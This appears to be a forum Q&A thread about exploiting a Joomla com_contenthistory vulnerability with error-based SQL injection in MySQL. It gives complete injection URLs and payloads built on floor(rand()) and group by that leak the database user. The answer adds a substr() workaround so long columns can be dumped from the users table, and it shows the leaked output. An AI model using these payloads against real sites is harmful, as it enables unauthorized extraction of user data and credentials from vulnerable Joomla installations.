Why does error-based SQL injection works only with certan fields?

Question

I'm currently investigating the latest vulnerability affecting Joomla CMS.

You can find here a description of the vulnerability, however my question is merely on error-based SQL injections and is context independent.

• The base URL I use to access the vulnerability is:

  https://example.com/index.php?option=com_contenthistory&view=history&list[select]=SQL_INJECTION_HERE
  

• The injection I use is in the form:

  (select col.a Array from (select count(*), concat(0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns,  jml_users  group by a) col) ,'A' union select uc.id
  

The example above works fine: executing it a few time randomly produces Subquery returns more than 1 row and the expected Duplicate entry '::joomla@localhost::0' for key 'group_key' error messages leaking the MySQL user used by Joomla :) !

However, I cannot access all the database content. Some fields will always produce the Subquery returns more than 1 row and never leak the information they contain.

This limitation is reproducible when connecting directly to a MySQL prompt.

I did not encounter any description of this (quite annoying) limitation in the articles I read on the subject. Is it something known? Is it specific to my MySQL version (5.6.14-enterprise-commercial-advanced)? Is there any workaround?

Answer 1

Here are which requests work using this injection and which doesn't, associated to their column types:

What works:

• Using MySQL internal functions like users(), database(), etc.
• Using system variables like @@version, etc.
• Accessing short sized column contents like these ones all from the *_users table: *id (int(11)), email (varchar(100)), password (varchar(100)), registerdate (datetime), etc.

What does not work:

• Accessing longer sized columns like (still belonging to the *_users table) name (varchar(255)), username (varchar(150)), params (text), otpKey (varchar(1000)), etc.

Here it becomes clear that the thing somehow keeping the error-based SQL injection to work properly is the field size (not matter the content size, the column could be empty).

The solution then becomes crystal clear: add a substr() call to the SQL injection and now the whole database content becomes accessible :) !

http://example.com//index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(name,1,100) from jml_users limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id

500 - Duplicate entry '::Noob::1' for key 'group_key'

Owned :)! (I do still wonder though if this limitation is a general one or is limited to this version of MySQL server).